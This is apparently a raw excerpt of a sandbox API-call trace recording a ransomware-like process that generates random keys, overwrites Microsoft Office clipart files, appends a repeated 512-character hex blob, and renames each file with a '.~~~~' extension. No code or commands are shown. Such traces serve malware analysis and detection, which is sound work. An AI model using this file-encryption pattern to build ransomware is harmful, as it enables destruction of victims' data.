	[0105.107] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.107] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.107] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.107] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.108] CloseHandle (hObject=0x120) returned 1
	[0105.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.~~~~")) returned 1
	[0105.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.109] GetLastError () returned 0x0
	[0105.110] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.111] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.111] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.111] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22510165913) returned 1
	[0105.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa853d390, dwHighDateTime=0x1d60e1e)) 
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf90
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf90 | out: hHeap=0x300000) returned 1
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286ab10
	[0105.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.113] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.113] GetLastError () returned 0x0
	[0105.113] GetLastError () returned 0x0
	[0105.113] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.113] GetLastError () returned 0x0
	[0105.113] GetLastError () returned 0x0
	[0105.117] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff9a5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.117] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x65a6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x65a6, lpOverlapped=0x0) returned 1
	[0105.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.119] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.119] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.119] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.119] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.119] CloseHandle (hObject=0x120) returned 1
	[0105.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.119] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.~~~~")) returned 1
	[0105.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.121] GetLastError () returned 0x0
	[0105.121] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.123] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0105.123] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0105.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.123] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22511333828) returned 1
	[0105.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa85634f0, dwHighDateTime=0x1d60e1e)) 
	[0105.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cfc8
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0105.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cfc8 | out: hHeap=0x300000) returned 1
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0105.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286aea0
	[0105.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.125] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.125] GetLastError () returned 0x0
	[0105.125] GetLastError () returned 0x0
	[0105.125] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.125] GetLastError () returned 0x0
	[0105.125] GetLastError () returned 0x0
	[0105.129] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff6e74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.129] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x918c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x918c, lpOverlapped=0x0) returned 1
	[0105.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0105.131] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.131] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.131] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.131] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.132] CloseHandle (hObject=0x120) returned 1
	[0105.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0105.132] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.~~~~")) returned 1
	[0105.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0105.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.163] GetLastError () returned 0x0
	[0105.397] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.419] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.419] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.419] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22540942429) returned 1
	[0105.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8836f10, dwHighDateTime=0x1d60e1e)) 
	[0105.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286ce90
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286ce90 | out: hHeap=0x300000) returned 1
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286b950
	[0105.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.420] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.421] GetLastError () returned 0x0
	[0105.421] GetLastError () returned 0x0
	[0105.421] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.421] GetLastError () returned 0x0
	[0105.421] GetLastError () returned 0x0
	[0105.427] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe256, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.427] WriteFile (in: hFile=0x140, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x1daa, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x1f8fec0*=0x1daa, lpOverlapped=0x0) returned 1
	[0105.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.428] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.428] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.429] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.429] CloseHandle (hObject=0x140) returned 1
	[0105.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.~~~~")) returned 1
	[0105.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.430] GetLastError () returned 0x0
	[0105.431] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.432] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.432] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.432] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22542261523) returned 1
	[0105.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8836f10, dwHighDateTime=0x1d60e1e)) 
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cf00
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cf00 | out: hHeap=0x300000) returned 1
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286afd0
	[0105.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.433] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.434] GetLastError () returned 0x0
	[0105.434] GetLastError () returned 0x0
	[0105.434] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.434] GetLastError () returned 0x0
	[0105.434] GetLastError () returned 0x0
	[0105.437] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffa660, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.437] WriteFile (in: hFile=0x140, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x59a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x1f8fec0*=0x59a0, lpOverlapped=0x0) returned 1
	[0105.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0105.439] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.439] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0105.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0105.439] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0105.439] CloseHandle (hObject=0x140) returned 1
	[0105.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2896dd0
	[0105.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238333.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238333.wmf.~~~~")) returned 1
	[0105.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0105.440] GetLastError () returned 0x0
	[0105.441] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0105.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0105.443] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0105.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0105.443] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22543287811) returned 1
	[0105.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa885d070, dwHighDateTime=0x1d60e1e)) 
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286cf38
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0105.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286cf38 | out: hHeap=0x300000) returned 1
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0105.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2896dd0
	[0105.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0105.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x286ba80
	[0105.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2896dd0 | out: hHeap=0x300000) returned 1
	[0105.444] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0105.444] GetLastError () returned 0x0
	[0105.444] GetLastError () returned 0x0
	[0105.444] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0105.444] GetLastError () returned 0x0
	[0105.444] GetLastError () returned 0x0
	[0105.448] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffeccc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
